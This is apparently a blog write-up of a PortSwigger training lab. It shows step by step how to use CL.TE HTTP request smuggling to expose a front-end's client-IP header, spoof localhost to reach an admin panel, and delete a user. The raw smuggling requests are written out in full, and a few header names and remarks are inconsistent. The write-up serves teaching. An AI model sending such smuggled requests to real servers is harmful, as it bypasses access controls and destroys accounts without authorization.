Post

PortSwiggerlabs: Exploiting HTTP request smuggling to reveal front-end request rewriting

PortSwiggerlabs: Exploiting HTTP request smuggling to reveal front-end request rewriting

Information :

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

There’s an admin panel at /admin, but it’s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It’s similar to the X-Forwarded-For header but has a different name.

To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.

Solution :

Quick note:

HTTP Request Smuggling happens because of a disagreement between servers. In a typical setup you have a front-end (proxy, load balancer, CDN) forwarding requests to a back-end, and they share persistent TCP connections. The issue is that HTTP gives two ways to tell a server where a request body ends: Content-Length, which just counts bytes, and Transfer-Encoding: chunked, which sends the body in chunks ending with a zero-size chunk. When both headers are present in the same request, different servers may prioritize differently and that gap is what we exploit.

The idea is: you craft a request the front-end considers complete and forwards normally, but the back-end reads it differently and treats part of your body as leftover data sitting in the TCP buffer. That leftover then gets prepended to the next incoming request — yours or another user’s. That’s how you end up bypassing access controls, hijacking requests, or poisoning responses.

The three main variants are CL.TE, TE.CL, and TE.TE , basically which server trusts which header, or in the TE.TE case, how you obfuscate the Transfer-Encoding header enough that one server just ignores it entirely.

Before jumping into Burp, two things worth knowing: first, disable Update Content-Length in Repeater options , if Burp auto corrects your Content-Length you’re defeating the whole point. Second, make sure you’re sending over HTTP/1, not HTTP/2. When testing manually, timing delays are your main signal if the response hangs after your crafted request, the back-end is likely waiting for data that isn’t coming, which means it’s parsing things differently from the front-end. That’s your confirmation.

Now back to the lab:

image

Just like everytime we first need to find what case we’ve got , is it a CL.TE , TE.CL or a TE.TE .

For this , I like to use this graph from Jarno Timmermans :

image

But you can use this guide from HackerReciepe :

1
https://www.thehacker.recipes/web/config/http-request-smuggling/#practice

Now first let’s send the detection request, that based on the response we will know if the backend and front end trust different Headers :

  • First Downgrade the request to HTTP1.1/
  • Then We change the request Method to POST
  • Then Remove Auto Length
  • Add Transfer-Encoding: chunked
  • Show Non-printable characters , this will be helpful when it comes to counting Bytes .
  • In the Boy , add
1
2
3
4
5
6
Content-Lenght: 6
Transfer-Encoding: chunked

1
123
X

image

Now if we send this , either we get an error which means the front end is definetly using TE , and since there is no terminating character we immediately get an error , and we need to figure out what the backend is using .

Or we will get a delay , which means the front end does use CL , but the backend uses TE and since there is no terminating character , it will hang forever until we get a request time out .

image

Perfect we get a Delay . which means we have a CL.TE . Now to confirm this we can smuggle a request for an endpoint that doesn’t exist , then we send a normal request after that , if it returns 404 we will know that our request was indeed smuggled between both of the normal requests .

As usual , we will need an attack request and a normal one that we will send once we send our attack request .

1
2
3
4
5
6
7
8
9
Content-Lenght: 6
Transfer-Encoding: chunked
\r\n
\r\n
0\r\n
\r\n
####### For the Backend The Request ends here , Now we smuggle the second one :
GET /Non_Existing HTTP/1.1
X-Ignore: x

We’re adding the X-Ignore header just to bypass the issue we get when we’re sending 2 requests at the same time , GET + GET .

  • If we send a normal request after our attack request , it will get appended to the smuggled request .
  • So we will have 2 request methods sometimes , it might look like this :
1
GET /Non_Existing HTTP/1.1GET / HTTP/1.1 ....
  • This will return an error , to avoid this we append the second request to a different header inside our smuggled request , so it looks soemthing like this :
1
2
GET /Non_Existing HTTP/1.1
X-Ignore: xGET / HTTP/1.1 ....

Now back to our attack request :

image

For a CL.TE , it’s okey to enable the update content-length since we need to send the entire request to the backend, and since the backend uses TE , we will end the request using our Terminating character instead and rest will be stored in the buffer .

So the smuggled request stored in the buffer will be what comes after the terminating request , in this case this :

1
2
GET /Non_Existing HTTP/1.1
X-Ignore: x

And we trigger it , by sending a normal request that will get appended to our smuggled request .

Now back to our attack , now if we send a normal request , we should get a 404 :

image

Perfect this means our request for /Non_Existing was smuggled perfectly .

Now we will do the same thing but for a different request , the search request :

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 0ab7005d034c369680793a2000e90036.web-security-academy.net
Priority: u=0, i
Content-Length: 116
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

POST /Non_Existing HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 106

search=aaa

Now if we send this :

image

Now sending a normal request should return a 404 :

image

Perfect , now let’s try to access the admin endpoint , First we send our attack request :

image

Now a normal one :

image

Good enough we are able to smuggle it , but we get a security restriction , let’s make it look like it’s coming from the localhost .

image

Now if we send a normal request :

image

Duplicate header error -_- . To bypass this , we can put the normal request that will be appeneded to the body of the smuggled request :

image

We did get rid of the error but we can’t bypass the restriction , we need the source origin header that the server uses to see where is the request coming from .

Now let’s go back to the initial request we had to the / , then we try smuggling a request to the search feature and see how the apps handles the request :

Let’s send the attack request :

image

Now the Normal request :

image

Perfect we find a new header , like the origin IP header , “X-MmLZCn-Ip” header . This is perfect since we know the admin interface is only accessible from localhost .

Now let’s craft a new request to access the admin panel using this new Header .

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 0ab7005d034c369680793a2000e90036.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
X-ignore: x

image

Now if we send a normal request :

image

Another duplicate header error , one way to bypass this is to put the normal request that will get appended inside the body of the smuggled request , by the way we need to include the content-length inside the smuggled request since the backend needs a content-length to process requests (it’s using CL remember).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 0ab7005d034c369680793a2000e90036.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-MmLZCn-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 104

x=1

Now if we send the attack request :

image

Then we need a normal request to trigger the smuggled request in the buffer :

image

Perfect , now all we need to do is just find the link for the delete button :

image

There we go , now we just modify the smuggled request :

image

Perfect now if we send a normal request , the user carlos should be deleted :)

image

302 means it got redirected , so the user was indeed deleted , if we check the lab now :

image

It’s solved .

That was all for this lab , see you in the next one .

This post is licensed under CC BY 4.0 by the author.